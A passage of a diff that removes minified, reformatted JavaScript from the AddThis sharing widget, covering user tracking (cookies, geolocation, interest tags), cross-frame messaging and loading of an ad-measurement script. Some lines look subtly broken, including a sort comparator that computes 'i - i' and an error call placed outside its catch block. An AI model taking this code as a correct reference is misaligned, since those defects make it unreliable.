-                                    p(a, i, n);
-                            }
-                            var g;
-                            var _;
-                            var v = (window, !1);
-                            var b = {};
-                            var w = {
-                                name: 'per-2',
-                                feed: ['views2'],
-                                vector: [],
-                                isProCell: !0
-                            };
-                            (_ate = _ate || {}),
-                            (_ate.data = _ate.data || {}),
-                            (_ate.feeds = {
-                                setTestCell: l,
-                                getTestCell: f,
-                                _ad: a,
-                                configure: e,
-                                get: t,
-                                recommend: o,
-                                trend: n,
-                                decorator: d
-                            }),
-                            (_ate.dctu = c);
-                        })(),
-                        A.start(_ate.ed);
-                }
-                var sn = window;
-                sn.addthis && sn.addthis.timer && (sn.addthis.timer.core = new Date().getTime()),
-                    (_ate._ssc = _ate._ssh = []),
-                    (_ate.dat = {}),
-                    _ate._rec.push((e) => {
-                        var t;
-                        var n;
-                        var a = _ate.dat.rdy;
-                        for (var i in e) e.hasOwnProperty(i) && (_ate.dat[i] = e[i]);
-                        if (
-                            (e.rdy && !a && ((_ate.xfr = 1), _ate.track.xtp()),
-                                e.ssc && (_ate._ssc = e.ssc),
-                                e.sshs &&
-                                ((e.sshs = e.sshs.replace(/\bpinterest\b/, 'pinterest_share')),
-                                    (t = sn.addthis_ssh = _duc(e.sshs)),
-                                    (_ate.gssh = 1),
-                                    (_ate._ssh = t.split(',')),
-                                    _ate.ed.fire(
-                                        'addthis-internal.data.ssh', {}, {
-                                            ssh: t
-                                        }
-                                    )),
-                                e.uss)
-                        ) {
-                            e.uss = e.uss.replace(/\bpinterest\b/, 'pinterest_share');
-                            var o = (_ate._uss = _duc(e.uss).split(','));
-                            if (sn.addthis_ssh) {
-                                var r = {};
-                                var s = [];
-                                for (o = o.concat(_ate._ssh), n = 0; n < o.length; n++)(t = o[n]), r[t] || s.push(t), (r[t] = 1);
-                                o = s;
-                            }
-                            (_ate._ssh = o), (sn.addthis_ssh = o.join(','));
-                        }
-                        if (e.ups)
-                            for (t = e.ups.split(','), _ate.ups = {}, n = 0; n < t.length; n++)
-                                if (t[n]) {
-                                    var d = ye(_duc(t[n]));
-                                    _ate.ups[d.name] = d;
-                                }
-                        if (
-                            (e.uid &&
-                                ((_ate.uid = e.uid),
-                                    _ate.ed.fire(
-                                        'addthis-internal.data.uid', {}, {
-                                            uid: e.uid
-                                        }
-                                    )),
-                                e.bti &&
-                                ((_ate.bti = e.bti),
-                                    _ate.ed.fire(
-                                        'addthis-internal.data.bti', {}, {
-                                            bti: e.bti
-                                        }
-                                    )),
-                                !T.get() &&
-                                e.bt2 &&
-                                _ate.ed.fire(
-                                    'addthis-internal.data.bt2', {}, {
-                                        bt2: e.bt2
-                                    }
-                                ),
-                                e.bts &&
-                                ((_ate.bts = parseInt(e.bts, 10)),
-                                    _ate.ed.fire(
-                                        'addthis-internal.data.bts', {}, {
-                                            bts: e.bts
-                                        }
-                                    )),
-                                e.vts &&
-                                ((_ate.vts = parseInt(e.vts, 10)),
-                                    _ate.ed.fire(
-                                        'addthis-internal.data.vts', {}, {
-                                            vts: e.vts
-                                        }
-                                    )),
-                                e.geo)
-                        ) {
-                            try {
-                                _ate.geo = 'string' == typeof e.geo ? _ate.util.geo.parse(e.geo) : e.geo;
-                            } catch (e) {}
-                            _ate.ed.fire(
-                                'addthis-internal.data.geo', {}, {
-                                    geo: _ate.geo
-                                }
-                            );
-                        }
-                        if ((e.dbm && (_ate.dbm = e.dbm), e.atgotcode && (_ate.sau = e.atgotcode), e.rdy && !a))
-                            return void _ate.ed.fire('addthis-internal.data.rdy');
-                    }),
-                    _ate._rec.push((e) => {
-                        var t = (e || {}).remoteEvent;
-                        t && t.type && t.data && _ate.ed.fire(t.type, {}, t.data);
-                    });
-                try {
-                    if (Nt.du.indexOf(_atr) > -1) {
-                        var hn = ye(dn.cookie, ';');
-                        _ate._rec[_ate._rec.length - 1](hn);
-                    }
-                    var mn = {};
-                    var gn = _ate.util.gsp('addthis_widget.js');
-                    if ('object' == typeof gn) {
-                        if (
-                            (gn.provider &&
-                                ((mn = {
-                                        provider: _ate.mun(gn.provider_code || gn.provider),
-                                        auth: gn.auth || gn.provider_auth || ''
-                                    }),
-                                    (gn.uid || gn.provider_uid) && (mn.uid = _ate.mun(gn.uid || gn.provider_uid)),
-                                    gn.logout && (mn.logout = 1),
-                                    (_ate.prv = mn)),
-                                gn.headless && (_atc.xcs = 1),
-                                gn.dnp && (_ate.dcp = Number.MAX_VALUE),
-                                gn.dnt && (_atc.xtr = 1),
-                                _ate.util.pae(gn),
-                                _ate.util.pas(_ate.util.pae),
-                                gn.domready && (_atc.dr = 1),
-                                gn.onready && gn.onready.match(/[a-zA-Z0-9_\.\$]+/))
-                        )
-                            try {
-                                _ate.onr = _ate.evl(gn.onready);
-                            } catch (e) {
-                                R.error('addthis: onready function (' + gn.onready + ') not defined', e);
-                            }
-                        gn.async && (_atc.xol = 1);
-                    }
-                    (_atc.ver = 300),
-                    _ate.ed.fire(
-                            'addthis-internal.params.loaded', {}, {
-                                geo: _ate.geo
-                            }
-                        ),
-                        (sn.addthis_conf || {}).xol && (_atc.xol = 1),
-                        sn.addthis_clickout && _ate.lad(['cout']);
-                } catch (e) {}
-                R.error('main', e);
-            }
-            if (
-                (_adr.bindReady(),
-                    sn.JSON && sn.JSON.stringify ?
-                    _adr.append(i) :
-                    n.e(215, () => {
-                        R.debug('JSON not here, adding json2'), n(646), _adr.append(i);
-                    }),
-                    (() => {
-                        function e(e) {
-                            return _ate.unj && !_ate.bro.msi ? JSON.stringify(e) : _ate.util.rtoKV(e, '&&', '==');
-                        }
-                        function t(e) {
-                            if (!e || 'string' != typeof e) return e;
-                            if (!_ate.unj || 0 !== e.indexOf('{')) return _ate.util.rfromKV(e, '&&', '==');
-                            try {
-                                return JSON.parse(e);
-                            } catch (t) {
-                                return _ate.util.rfromKV(e);
-                            }
-                        }
-                        function n(e) {
-                            var n;
-                            if (!i || '.addthis.com' === e.origin.slice(-'.addthis.com'.length)) {
-                                if (!e.data) return;
-                                (n = t(e.data)), (n.origin = e.origin), a(n);
-                            }
-                        }
-                        function a(e) {
-                            e.addthisxf && _ate.ed.fire(e.addthisxf, e.target || e.payload, e.payload);
-                        }
-                        var i = !1;
-                        var o = le;
-                        var r = !1;
-                        be(_ate, {
-                            xf: {
-                                upm: o,
-                                listen() {
-                                    r ||
-                                        (o &&
-                                            (M.href.indexOf('.addthis.com') === -1 && (i = !0),
-                                                sn.attachEvent ?
-                                                (sn.attachEvent('onmessage', n, !1), dn.attachEvent('onmessage', n, !1)) :
-                                                sn.addEventListener('message', n, !1),
-                                                window.addthis._pml.push(n)),
-                                            (r = !0));
-                                },
-                                send(t, n, a) {
-                                    o &&
-                                        setTimeout(() => {
-                                            t.postMessage(
-                                                e({
-                                                    addthisxf: n,
-                                                    payload: a
-                                                }),
-                                                '*'
-                                            );
-                                        }, 0);
-                                }
-                            }
-                        });
-                    })(),
-                    _ate.xf.listen(),
-                    (() => {
-                        function e(t) {
-                            function n(e) {
-                                r.sort((t, n) => i(t, n, _ate.api.ASC, e));
-                            }
-                            function a(e) {
-                                r.sort((t, n) => i(t, n, _ate.api.DSC, e));
-                            }
-                            function i(e, t, n, a) {
-                                var i = e[a];
-                                var o = t[a];
-                                return 'string' != typeof i || isNaN(parseInt(i, 10)) ?
-                                    i > o ?
-                                    n ?
-                                    1 :
-                                    -1 :
-                                    i === o ?
-                                    0 :
-                                    n ?
-                                    -1 :
-                                    1 :
-                                    ((i = parseInt(i, 10)), (o = parseInt(o, 10)), n ? i - i : i - o);
-                            }
-                            function o() {
-                                for (var e = {}, t = 0; t < r.length; t++) r[t].name ? (e[r[t].name] = r[t]) : (e[r[t]] = r[t]);
-                                return e;
-                            }
-                            var r = t || [];
-                            var s = 0 === r.length ? {} : o(r);
-                            var d = r;
-                            return (
-                                (r._map = s),
-                                (d.add = (e) => {
-                                    e && (d.push(e), (d._map[e.name || e] = e));
-                                }),
-                                (d.addOne = (e) => {
-                                    if (e) {
-                                        if (d._map[e.name || e]) return;
-                                        d.add(e);
-                                    }
-                                }),
-                                (d.toMap = (e) => {
-                                    e || (e = 'name');
-                                    for (var t = {}, n = 0; n < r.length; n++) t[r[n][e]] = r[n];
-                                    return t;
-                                }),
-                                (d.map = d.toMap),
-                                (d.has = (e) => d.iskey(e)),
-                                (d.hasKeys = (e) => {
-                                    if (('string' == typeof e && (e = e.split(',')), 0 === e.length)) return !1;
-                                    for (var t = 0; t < e.length; t++)
-                                        if (!d.iskey(e[t])) return !1;
-                                    return !0;
-                                }),
-                                (d.iskey = (e) => {
-                                    if (('string' == typeof e && (e = e.split(',')), e instanceof Array))
-                                        for (var t = 0; t < e.length; t++) {
-                                            var n = e[t].replace(/ /g, '');
-                                            if (d._map[n]) return 1;
-                                        }
-                                    return 0;
-                                }),
-                                (d.keys = (e, t, i) => {
-                                    t || (t = 'name'), i || (i = 'score');
-                                    var o = [];
-                                    e === _ate.api.ASC ? n(i) : a(i);
-                                    for (var s = 0; s < r.length; s++) o.push('object' == typeof r[s] ? r[s].name : r[s]);
-                                    return o;
-                                }),
-                                (d.top = (e, t) => {
-                                    t || (t = 'score'), a(t);
-                                    for (var n = [], i = 0; i < Math.min(e || 1, r.length); i++) n.push(r[i].name);
-                                    return n;
-                                }),
-                                (d.filter = (t) => {
-                                    for (var n = [], a = 0; a < r.length; a++)
-                                        for (var i in t) t.hasOwnProperty(i) && r[a][i] === t[i] && n.push(r[a]);
-                                    return e(n);
-                                }),
-                                d
-                            );
-                        }
-                        (_ate.api.HIGH = 3),
-                        (_ate.api.MED = 2),
-                        (_ate.api.LOW = 1),
-                        (_ate.api.ASC = 1),
-                        (_ate.api.DSC = _ate.api.DESC = 0),
-                        (_ate.data = _ate.data || {}),
-                        (_ate.data.OrderedSet = e);
-                    })(),
-                    (() => {
-                        function e(e) {
-                            if (!e || e.length < 5 || e.length > 30) throw new Error('Service code must be between 5 and 30 characters.');
-                            if (e.search(/^[a-zA-Z0-9_]+$/) === -1) throw new Error('Service code must consist entirely of letters, numbers and underscores.');
-                            return !0;
-                        }
-                        (un.logShare = (t, n, a, i) => {
-                            var o = i || addthis_config;
-                            var r = a || addthis_share;
-                            (o.product = 'hdl-300'), (r.imp_url = 0);
-                            var t = t || (a && a.url) || addthis_share.url;
-                            var s = _ate.track.dcu(t);
-                            s.rsc && !n && (n = s.rsc), e(n) && ((r.url = t), _ate.share.track(n, 0, r, o));
-                        }),
-                        (un.addClickTag = (t, a, i, o) => {
-                            var t = t || (i && i.url) || addthis_share.url;
-                            var r = n(409);
-                            return e(a) && (t = _ate.track.cur(r(t), a)), t;
-                        });
-                    })(),
-                    (() => {
-                        _ate.ajs('https://z.moatads.com/addthismoatframe568911941483/moatframe.js', 1);
-                    })(),
-                    window.addthis || (window.addthis = {}),
-                    (un.user = (() => {
-                        function e(e, t) {
-                            return pe(['getID', 'getGeolocation', 'getServiceShareHistory'], e, t);
-                        }
-                        function t(e, t) {
-                            return (n) => {
-                                setTimeout(() => {
-                                    n(a[e] || t);
-                                }, 0);
-                            };
-                        }
-                        function n(n) {
-                            M ||
-                                (n &&
-                                    n.rdy &&
-                                    (null !== k && clearTimeout(k),
-                                        (k = null),
-                                        (M = 1),
-                                        e(
-                                            (e, n, a) => ((O[n] = O[n].queuer.flush(t.apply(un, e[a]), un)), e),
-                                            [
-                                                ['uid', ''],
-                                                ['geo', ''],
-                                                ['_ssh', []]
-                                            ]
-                                        )));
-                        }
-                        function i() {
-                            (A = 1),
-                            n({
-                                rdy: 1
-                            });
-                        }
-                        function o(e) {
-                            return E.interests.iskey(e);
-                        }
-                        function r(e) {
-                            return E.tags.iskey(e);
-                        }
-                        function s(e) {
-                            return E.tags.hasKeys(e);
-                        }
-                        function d(e) {
-                            return _ate.util.geo.isin(e, _ate.geo);
-                        }
-                        function u(e) {
-                            if (
-                                (_ate.uud ||
-                                    _ate.ed.fire('addthis-internal.api', window.addthis || {}, {
-                                        call: 'rdy'
-                                    }),
-                                    (_ate.uud = 1),
-                                    M && ('en' === Y() || window.addthis_translations))
-                            ) {
-                                if (Dt()) return void e(E);
-                                var t = [];
-                                var n = _ate.cookie.tag.get();
-                                for (var a in _ate.bti) t.push(_ate.bti[a]);
-                                (E.interests = new _ate.data.OrderedSet(t)), (E.tags = new _ate.data.OrderedSet(n));
-                                var i = new _ate.data.OrderedSet();
-                                (_ate._uss || []).forEach((e) => {
-                                    i.addOne({
-                                        name: e,
-                                        score: un.HIGH
-                                    });
-                                });
-                                for (var o in _ate._ssc)
-                                    i.addOne({
-                                        name: o,
-                                        score: _ate._ssc[o]
-                                    });
-                                (E.services = i),
-                                (E.activity = {}),
-                                (E.activity.social = _ate.bts),
-                                (E.activity.view = _ate.vts),
-                                (E.source = v()),
-                                (S.location = E.location = _ate.geo || {}),
-                                (E.location.contains = d),
-                                e && e(E),
-                                    _ate.ed.fire('addthis.user.data', window.addthis || {}, {});
-                            } else
-                                'en' === Y() || window.addthis_translations ?
-                                setTimeout(() => {
-                                    u(e);
-                                }, 100) :
-                                (_ate.ed.addEventListener('addthis.i18n.ready', () => {
-                                        u(e);
-                                    }),
-                                    ae.get());
-                        }
-                        function c(e) {
-                            u(e);
-                        }
-                        function l() {
-                            return _ate.cookie.view.cla() > 0;
-                        }
-                        function f(e) {
-                            var t = e;
-                            'string' == typeof t && (t = t.split(',')), _ate.cookie.tag.add(t);
-                        }
-                        function p(e, t) {
-                            var n = function(n, a, i) {
-                                var o = Array.prototype.slice.call(arguments);
-                                return (
-                                    _ate.ed.fire('addthis-internal.api', window.addthis || {}, {
-                                        call: e
-                                    }),
-                                    t.apply(this, o)
-                                );
-                            };
-                            return n;
-                        }
-                        function h(e) {
-                            _ate.ed.fire('addthis-internal.api', window.addthis || {}, {
-                                call: e
-                            });
-                        }
-                        function m() {
-                            return h('gti'), T.getInterests();
-                        }
-                        function g() {
-                            return T.getParsedInterests();
-                        }
-                        function _() {
-                            return h('gts'), E.services;
-                        }
-                        function v() {
-                            return h('gtt'), _ate.track.ts.get();
-                        }
-                        function b() {
-                            return h('gtl'), E.location;
-                        }
-                        function w(e) {
-                            return (_ate._ssh && _ate._ssh.indexOf(e) > -1) || (_ate._ssc && _ate._ssc[e]);
-                        }
-                        function x(e) {
-                            var t = v();
-                            if ('social' === t.type) {
-                                if (!e) return !1;
-                                if (('string' == typeof e && (e = e.split(',')), e instanceof Array)) {
-                                    for (var n = {}, a = 0; a < e.length; a++) {
-                                        if ('all' === e[a] && t.service && Jt.list[t.service]) return !0;
-                                        n[e[a]] = 1;
-                                    }
-                                    if (!n[t.service]) return !1;
-                                }
-                                return !0;
-                            }
-                            return !1;
-                        }
-                        function y(e) {
-                            var t;
-                            var n = v();
-                            if ('search' === n.type) {
-                                if (('string' == typeof e && (e = e.split(',')), e instanceof Array)) {
-                                    var a = {};
-                                    for (t = 0; t < e.length; t++) a[e[t]] = 1;
-                                    if (n.terms && n.terms.length)
-                                        for (t = 0; t < n.terms.length; t++)
-                                            if (!a[n.terms[t]]) return !1;
-                                }
-                                return !0;
-                            }
-                            return !1;
-                        }
-                        var k;
-                        var C = 1e3;
-                        var O = {};
-                        var M = 0;
-                        var A = 0;
-                        var E = {
-                            tags: _ate.cookie.tag.get()
-                        };
-                        (k = setTimeout(i, C)),
-                        _ate._rec.push(n),
-                            (O.getData = c),
-                            (O.getPreferredServices = (e) => {
-                                var t;
-                                'en' === Y() || window.addthis_translations ?
-                                    (_ate.share.services.init(window.addthis_config), (t = (window.addthis_options || '').replace(',more', '').split(',')), e(t)) :
-                                    (_ate.ed.addEventListener('addthis.i18n.ready', () => {
-                                            _ate.share.services.init(window.addthis_config),
-                                                (t = (window.addthis_options || '').replace(',more', '').split(',')),
-                                                e(t);
-                                        }),
-                                        ae.get());
-                            });
-                        var S = {
-                            ready: u,
-                            isReturning: l,
-                            isOptedOut: p('ioo', Dt),
-                            isUserOf: p('iuf', w),
-                            hasInterest: o,
-                            hasTag: r,
-                            hasTags: s,
-                            isLocatedIn: d,
-                            tag: f,
-                            interests: m,
-                            services: _,
-                            location: b,
-                            parseBT2Cookie: g
-                        };
-                        return (
-                            (un.session = {
-                                source: v,
-                                isSocial: p('isl', x),
-                                isSearch: p('ish', y)
-                            }),
-                            be(O, S),
-                            e((e, t) => ((e[t] = new un._Queuer(t).call), e), O)
-                        );
-                    })()),
-                    !window.addthis.osta)
-            ) {
-                (un.osta = 1),
-                (window.addthis.cache = {}),
-                (window.addthis.ed = _ate.ed),
-                (window.addthis.init = () => {
-                    _adr.onReady(), un.ready && un.ready();
-                }),
-                (window.addthis.cleanup = () => {
-                    (window.addthis._pml || []).forEach((e) => {
-                        _ate.util.unlisten(window, 'message', e);
-                    });
-                }),
-                be(window.addthis.util, {
-                        getServiceName: Yt
-                    }),
-                    (window.addthis.addEventListener = _ate.ed.addEventListener.bind(_ate.ed)),
-                    (window.addthis.removeEventListener = _ate.ed.removeEventListener.bind(_ate.ed)),
-                    be(un, _ate.api);
-                var _n;
-                var vn;
-                var bn;
-                var wn;
-                var xn;
-                var dn = document;
-                var yn = 0;
-                var kn = O;
-                var sn = window;
-                var Cn = {};
-                var On = {};
-                var Mn = {};
-                var An = null;
-                var En = [];
-                var Sn = [];
-                var In = [];
-                var Tn = {};
-                var jn = {
-                    feed: 1,
-                    more: 0,
-                    email: 0,
-                    mailto: 1
-                };
-                var Nn = {
-                    feed: 1,
-                    email: 0,
-                    mailto: 1,
-                    print: 1,
-                    more: !_ate.bro.ipa && 0,
-                    favorites: 1
-                };
-                var Dn = {
-                    email: 1,
-                    more: 1
-                };
-                _ate.ed.addEventListener('addthis-internal.data.ssh', () => {
-                        E('preferred_available', {
-                                once: !0
-                            }),
-                            (wn = 1);
-                    }),
-                    ne((e) => {
-                        if (e)
-                            for (
-                                Tn.more = e[0][2],
-                                Tn.email = e[0][4],
-                                Tn.favorites = e[0][5],
-                                Tn.print = e[0][22],
-                                Tn.domaintoolswhois = e[0][106],
-                                Tn.w3validator = e[0][107],
-                                Tn.mailto = e[0][108],
-                                Tn.cleansave = e[0][109],
-                                Tn.link = e[0][110]; In.length > 0;
-                            )
-                                (xn = In.pop()), xn && xn.link && xn.title && (xn.link.title = Tn[xn.title] || xn.link.title);
-                    }),
-                    (un.addEvents = (e, t, n) => {
-                        if (e) {
-                            var a = e.onclick || (() => {});
-                            (e.conf.data_ga_tracker || addthis_config.data_ga_tracker || e.conf.data_ga_property || addthis_config.data_ga_property) &&
-                            (e.onclick = () => (_ate.gat(t, n, e.conf, e.share), a()));
-                        }
-                    }),
-                    (_ate.api.ptpa = Tt),
-                    (_ate.gat = v),
-                    (un.update = (e, t, a) => {
-                        var i = n(488);
-                        if ('share' === e) {
-                            'url' === t && _ate.usu(0, 1), window.addthis_share || (window.addthis_share = {}), (window.addthis_share[t] = a), (Mn[t] = a);
-                            for (var o in un.links) {
-                                var r = un.links[o];
-                                var s = new RegExp('&' + t + '=(.*)&');
-                                var d = '&' + t + '=' + window.encodeURIComponent(a) + '&';
-                                !(r.conf || {}).follow &&
-                                    r.nodeType &&
-                                    (r.share && (r.share[t] = a), r.noh || ((r.href = r.href.replace(s, d)), r.href.indexOf(t) === -1 && (r.href += d)));
-                            }
-                            for (var o in un.ems) {
-                                var r = un.ems[o];
-                                r.href = i(addthis_share);
-                            }
-                        } else 'config' === e && (window.addthis_config || (window.addthis_config = {}), (window.addthis_config[t] = a), (On[t] = a));
-                    }),
-                    (un._render = m),
-                    (un.ready = (e) => {
-                        un.ost ||
-                            pt() ||
-                            ((un.ost = 1), _ate.ed.fire('addthis.ready', un), _ate.onr && _ate.onr(un), _ate.share.sub(), e && 'function' == typeof e && e());
-                    }),
-                    (un.util.getAttributes = Pt),
-                    (un.ad = be(un.ad, _ate.ad)),
-                    C(),
-                    _atc.xol ||
-                    _adr.append(() => {
-                        window.addthis.ready();
-                    }),
-                    _ate.ed.fire('addthis-internal.ready', un);
-            }
-            (window.addthis_open = function(...args) {
-                return 'string' == typeof iconf && (iconf = null), _ate.ao(...args);
-            }),
-            (window.addthis_close = function(...args) {
-                return 'string' == typeof iconf && (iconf = null), _ate.ac(...args);
-            }),
-            (window.addthis_sendto = function(e, t, n) {
-                t = t || {};
-                var a = t.ui_508_compliant || ((window._atw && window._atw.conf) || {}).ui_508_compliant || (window.addthis_config || {}).ui_508_compliant;
-                return !a && en(e) && It(), _ate.as(...arguments), !1;
-            }),
-            _atc.dr && _adr.onReady(),
-            n(644)(window.addthis),
-            n(645);
-        },
-        (e, t) => {
-            function n() {
-                Function.prototype.bind = function(e) {
-                    if ('function' != typeof this) throw new TypeError('Function.prototype.bind - what is trying to be bound is not callable');
-                    var t = Array.prototype.slice.call(arguments, 1);
-                    var n = this;
-                    var a = () => {};
-                    var i = this instanceof a && e ? this : e;
-                    var o = function(...args) {
-                        return n.apply(i, t.concat(Array.prototype.slice.call(args)));
-                    };
-                    return (a.prototype = this.prototype), (o.prototype = new a()), o;
-                };
-            }
-            Function.prototype.bind || n(), (e.exports = n);
-        },
-        (e, t, n) => {
-            function a() {
-                var e = (e, t) => t;
-                var t = e.bind(null, 1);
-                return 0 !== t(0);
-            }
-            function i() {
-                a() && o();
-            }
-            var o = n(551);
-            e.exports = () => {
-                i(), setTimeout(i, 0);
-            };
-        },
-        (e, t, n) => {
-            var a = n(554);
-            'string' == typeof a && (a = [
-                [e.id, a, '']
-            ]);
-            n(330)(a, {});
-            a.locals && (e.exports = a.locals);
-        },
-        (e, t, n) => {
-            (t = e.exports = n(329)()),
-            t.push([
-                e.id,
-                '.at-icon{fill:#fff;border:0}.at-icon-wrapper{display:inline-block;overflow:hidden}a .at-icon-wrapper{cursor:pointer}.at-rounded,.at-rounded-element .at-icon-wrapper{border-radius:12%}.at-circular,.at-circular-element .at-icon-wrapper{border-radius:50%}.addthis_32x32_style .at-icon{width:2pc;height:2pc}.addthis_24x24_style .at-icon{width:24px;height:24px}.addthis_20x20_style .at-icon{width:20px;height:20px}.addthis_16x16_style .at-icon{width:1pc;height:1pc}#at16lb{display:none;position:absolute;top:0;left:0;width:100%;height:100%;z-index:1001;background-color:#000;opacity:.001}#at_complete,#at_error,#at_share,#at_success{position:static!important}.at15dn{display:none}#at15s,#at16p,#at16p form input,#at16p label,#at16p textarea,#at_share .at_item{font-family:arial,helvetica,tahoma,verdana,sans-serif!important;font-size:9pt!important;outline-style:none;outline-width:0;line-height:1em}* html #at15s.mmborder{position:absolute!important}#at15s.mmborder{position:fixed!important;width:250px!important}#at15s{background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAYAAACNMs+9AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAABtJREFUeNpiZGBgaGAgAjAxEAlGFVJHIUCAAQDcngCUgqGMqwAAAABJRU5ErkJggg==);float:none;line-height:1em;margin:0;overflow:visible;padding:5px;text-align:left;position:absolute}#at15s a,#at15s span{outline:0;direction:ltr;text-transform:none}#at15s .at-label{margin-left:5px}#at15s .at-icon-wrapper{width:1pc;height:1pc;vertical-align:middle}#at15s .at-icon{width:1pc;height:1pc}.at4-icon{display:inline-block;background-repeat:no-repeat;background-position:top left;margin:0;overflow:hidden;cursor:pointer}.addthis_16x16_style .at4-icon,.addthis_default_style .at4-icon,.at4-icon,.at-16x16{width:1pc;height:1pc;line-height:1pc;background-size:1pc!important}.addthis_32x32_style .at4-icon,.at-32x32{width:2pc;height:2pc;line-height:2pc;background-size:2pc!important}.addthis_24x24_style .at4-icon,.at-24x24{width:24px;height:24px;line-height:24px;background-size:24px!important}.addthis_20x20_style .at4-icon,.at-20x20{width:20px;height:20px;line-height:20px;background-size:20px!important}.at4-icon.circular,.circular .at4-icon,.circular.aticon{border-radius:50%}.at4-icon.rounded,.rounded .at4-icon{border-radius:4px}.at4-icon-left{float:left}#at15s .at4-icon{text-indent:20px;padding:0;overflow:visible;white-space:nowrap;background-size:1pc;width:1pc;height:1pc;background-position:top left;display:inline-block;line-height:1pc}.addthis_vertical_style .at4-icon,.at4-follow-container .at4-icon{margin-right:5px}html>body #at15s{width:250px!important}#at15s.atm{background:none!important;padding:0!important;width:10pc!important}#at15s_inner{background:#fff;border:1px solid #fff;margin:0}#at15s_head{position:relative;background:#f2f2f2;padding:4px;cursor:default;border-bottom:1px solid #e5e5e5}.at15s_head_success{background:#cafd99!important;border-bottom:1px solid #a9d582!important}.at15s_head_success a,.at15s_head_success span{color:#000!important;text-decoration:none}#at15s_brand,#at15sptx,#at16_brand{position:absolute}#at15s_brand{top:4px;right:4px}.at15s_brandx{right:20px!important}a#at15sptx{top:4px;right:4px;text-decoration:none;color:#4c4c4c;font-weight:700}#at15sptx:hover{text-decoration:underline}#at16_brand{top:5px;right:30px;cursor:default}#at_hover{padding:4px}#at_hover .at_item,#at_share .at_item{background:#fff!important;float:left!important;color:#4c4c4c!important}#at_share .at_item .at-icon-wrapper{margin-right:5px}#at_hover .at_bold{font-weight:700;color:#000!important}#at_hover .at_item{width:7pc!important;padding:2px 3px!important;margin:1px;text-decoration:none!important}#at_hover .at_item.athov,#at_hover .at_item:focus,#at_hover .at_item:hover{margin:0!important}#at_hover .at_item.athov,#at_hover .at_item:focus,#at_hover .at_item:hover,#at_share .at_item.athov,#at_share .at_item:hover{background:#f2f2f2!important;border:1px solid #e5e5e5;color:#000!important;text-decoration:none}.ipad #at_hover .at_item:focus{background:#fff!important;border:1px solid #fff}.at15t{display:block!important;height:1pc!important;line-height:1pc!important;padding-left:20px!important;background-position:0 0;text-align:left}.addthis_button,.at15t{cursor:pointer}.addthis_toolbox a.at300b,.addthis_toolbox a.at300m{width:auto}.addthis_toolbox a{margin-bottom:5px;line-height:initial}.addthis_toolbox.addthis_vertical_style{width:200px}.addthis_button_facebook_like .fb_iframe_widget{line-height:100%}.addthis_button_facebook_like iframe.fb_iframe_widget_lift{max-width:none}.addthis_toolbox a.addthis_button_counter,.addthis_toolbox a.addthis_button_facebook_like,.addthis_toolbox a.addthis_button_facebook_send,.addthis_toolbox a.addthis_button_facebook_share,.addthis_toolbox a.addthis_button_foursquare,.addthis_toolbox a.addthis_button_linkedin_counter,.addthis_toolbox a.addthis_button_pinterest_pinit,.addthis_toolbox a.addthis_button_tweet{display:inline-block}.addthis_toolbox span.addthis_follow_label{display:none}.addthis_toolbox.addthis_vertical_style span.addthis_follow_label{display:block;white-space:nowrap}.addthis_toolbox.addthis_vertical_style a{display:block}.addthis_toolbox.addthis_vertical_style.addthis_32x32_style a{line-height:2pc;height:2pc}.addthis_toolbox.addthis_vertical_style .at300bs{margin-right:4px;float:left}.addthis_toolbox.addthis_20x20_style span{line-height:20px}.addthis_toolbox.addthis_32x32_style span{line-height:2pc}.addthis_toolbox.addthis_pill_combo_style .addthis_button_compact .at15t_compact,.addthis_toolbox.addthis_pill_combo_style a{float:left}.addthis_toolbox.addthis_pill_combo_style a.addthis_button_tweet{margin-top:-2px}.addthis_toolbox.addthis_pill_combo_style .addthis_button_compact .at15t_compact{margin-right:4px}.addthis_default_style .addthis_separator{margin:0 5px;display:inline}div.atclear{clear:both}.addthis_default_style .addthis_separator,.addthis_default_style .at4-icon,.addthis_default_style .at300b,.addthis_default_style .at300bo,.addthis_default_style .at300bs,.addthis_default_style .at300m{float:left}.at300b img,.at300bo img{border:0}a.at300b .at4-icon,a.at300m .at4-icon{display:block}.addthis_default_style .at300b,.addthis_default_style .at300bo,.addthis_default_style .at300m{padding:0 2px}.at300b,.at300bo,.at300bs,.at300m{cursor:pointer}.addthis_button_facebook_like.at300b:hover,.addthis_button_facebook_like.at300bs:hover,.addthis_button_facebook_send.at300b:hover,.addthis_button_facebook_send.at300bs:hover{opacity:1}.addthis_20x20_style .at15t,.addthis_20x20_style .at300bs{overflow:hidden;display:block;height:20px!important;width:20px!important;line-height:20px!important}.addthis_32x32_style .at15t,.addthis_32x32_style .at300bs{overflow:hidden;display:block;height:2pc!important;width:2pc!important;line-height:2pc!important}.at300bs{overflow:hidden;display:block;background-position:0 0;height:1pc;width:1pc;line-height:1pc!important}.addthis_default_style .at15t_compact,.addthis_default_style .at15t_expanded{margin-right:4px}#at_share .at_item{width:123px!important;padding:4px;margin-right:2px;border:1px solid #fff}#at16p{background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAYAAACNMs+9AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAABtJREFUeNpiZGBgaGAgAjAxEAlGFVJHIUCAAQDcngCUgqGMqwAAAABJRU5ErkJggg==);z-index:10000001;position:absolute;top:50%;left:50%;width:300px;padding:10px;margin:0 auto;margin-top:-185px;margin-left:-155px;font-family:arial,helvetica,tahoma,verdana,sans-serif;font-size:9pt;color:#5e5e5e}#at_share{margin:0;padding:0}#at16pt{position:relative;background:#f2f2f2;height:13px;padding:5px 10px}#at16pt a,#at16pt h4{font-weight:700}#at16pt h4{display:inline;margin:0;padding:0;font-size:9pt;color:#4c4c4c;cursor:default}#at16pt a{position:absolute;top:5px;right:10px;color:#4c4c4c;text-decoration:none;padding:2px}#at15sptx:focus,#at16pt a:focus{outline:thin dotted}#at15s #at16pf 